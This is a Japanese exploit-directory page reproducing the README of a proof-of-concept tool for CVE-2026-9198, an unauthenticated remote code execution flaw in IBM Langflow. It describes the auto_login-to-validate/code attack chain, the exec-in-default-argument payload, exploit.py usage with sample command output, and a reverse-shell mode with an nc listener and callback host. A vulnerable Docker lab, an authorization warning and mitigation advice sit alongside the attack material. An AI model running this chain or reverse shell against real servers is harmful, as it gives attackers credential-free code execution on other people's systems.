Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
EXPLOIT-CVE-2026-9198 — CVE-2026-9198の概念実証エクスプロイト。IBM Langflow OSSにおける未認証のRCEであり、auto_loginとvalidate/codeエンドポイントを連鎖させます。認可されたテストと教育用の脆弱なDockerラボを含みます。 | Kitploit
ツール/GitHubGitHub/joaovicdev/exploit-cve-2026-9198
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングラボと実践
GitHubjoaovicdev/exploit-cve-2026-9198

EXPLOIT-CVE-2026-9198

CVE-2026-9198の概念実証エクスプロイト。IBM Langflow OSSにおける未認証のRCEであり、auto_loginとvalidate/codeエンドポイントを連鎖させます。認可されたテストと教育用の脆弱なDockerラボを含みます。

リポジトリを見る
720日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9198 — IBM Langflow OSS 未認証RCE

CVE-2026-9198 の概念実証エクスプロイトと、自己完結型Dockerラボです。これは IBM Langflow OSS における未認証のリモートコード実行の脆弱性です。

このエクスプロイトは、auto_login(誰にでもSUPERUSERトークンを発行する)と validate/code(攻撃者が指定したPythonを実行する)の2つのエンドポイントを連鎖させ、認証情報を一切必要とせずに Langflow サービスユーザーとしてコード実行を行います。

[!WARNING] 認可されたセキュリティテストおよび教育目的のみに使用してください。 このツールは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ実行してください。このリポジトリのDockerラボは意図的に脆弱な状態にあります。自分のマシン上に留め、インターネットに公開しないでください。このコードの使用方法については、利用者が責任を負います。

脆弱性の概要

CVECVE-2026-9198
製品IBM Langflow OSS
影響を受けるバージョン1.0.0 – 1.10.0
修正バージョン1.10.1
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — コード生成の不適切な制御('コードインジェクション')
CISA KEVあり — 実際に悪用されている既知の脆弱性

仕組み

このエクスプロイトは、認証を必要としない2段階の連鎖です。

1. SUPERUSERトークンの取得 — GET /api/v1/auto_login

Langflow にはデフォルトで LANGFLOW_AUTO_LOGIN が有効になっています。有効な場合、auto_login エンドポイントは、認証情報を要求せずに任意の呼び出し元に対して長期有効な SUPERUSER JWT を発行します。

root@kitploit:~
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

2. コードの実行 — POST /api/v1/validate/code

1.3.0 以降、このエンドポイントは認証を必要とします(これは CVE-2025-3248 の修正でした)— しかし、ステップ1で有効な SUPERUSER トークンを取得したため、このゲートは無意味です。内部的には、このエンドポイントは validate_code() を呼び出し、受信したすべての関数定義をコンパイルして実行します。

root@kitploit:~
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)                       # <-- def を実行
        except Exception as e:
            errors["function"]["errors"].append(str(e))   # <-- 出力がここに漏れる

def 文を実行すると、そのデフォルト引数値が評価されます。したがって、デフォルト引数が exec("...") である関数は、検証された瞬間に任意のコードを実行します — 関数自体は呼び出されることすらありません。発生した例外は捕捉され、function.errors の下のレスポンスで返され、エクスプロイトはこれを使用してコマンド出力をHTTP経由で読み戻します。

ペイロードの形状(コマンドは引用符の問題を回避するためにbase64でラップされています):

root@kitploit:~
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

内容

root@kitploit:~
.
├── exploit.py           # PoC(コマンド実行 + リバースシェル)
├── docker-compose.yml   # 脆弱なラボ: langflow 1.10.0 + postgres
├── requirements.txt     # requests
└── README.md

要件

  • Docker + Docker Compose(ラボ用)
  • Python 3.8+ および requests(pip install -r requirements.txt)

ラボの実行

root@kitploit:~
docker compose up -d

Langflow は初回起動時に準備が整うまで1〜2分かかります。応答するまで待ちます。

root@kitploit:~
curl -fs http://127.0.0.1:9999/health && echo OK

サービスは意図的に 127.0.0.1:9999 にバインドされています — ネットワークからは到達できません。

エクスプロイトの実行

依存関係をインストールし、エクスプロイトをラボに向けます。

root@kitploit:~
pip install -r requirements.txt

コマンド実行

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"

出力例:

root@kitploit:~
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

任意のコマンドが使用可能です:--cmd "uname -a && whoami && cat /etc/os-release"。

リバースシェル

リスナーを起動します。

root@kitploit:~
nc -lvnp 4444

次にペイロードを発射します。ターゲットが同じマシン上のDockerで実行されている場合、コンテナは host.docker.internal(Docker Desktop)でホストに到達します。実際のターゲットでは、ルーティング可能なIPを使用します。

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

リスナー上で langflow ユーザーとして対話型の /bin/sh が取得できます。

オプション

フラグ説明
--urlターゲットのベースURL(必須)
--cmd実行するコマンド(デフォルト id)
--reverse-shell--cmd の代わりにリバースシェルを配信
--lhost / --lportリバースシェルのコールバックホストとポート
--token指定されたベアラートークンを使用し、auto_login をスキップ
--timeoutリクエストごとのタイムアウト(秒)(デフォルト 15)
--insecureTLS検証をスキップ(https ターゲット用)

緩和策

  • Langflow を 1.10.1 以上にアップグレードしてください。
  • ネットワークから到達可能なものでは自動ログインを無効にします:LANGFLOW_AUTO_LOGIN=false を設定し、実際のスーパーユーザー認証情報を設定します。
  • Langflow をインターネットに直接公開しないでください。認証とネットワーク制御の背後に配置してください。

参考情報

  • NVD — CVE-2026-9198
  • IBM Security Bulletin
  • CISA Known Exploited Vulnerabilities Catalog
  • 関連する先行脆弱性: CVE-2025-3248(このエクスプロイトが基づく validate/code コードインジェクション)
ツールをダウンロード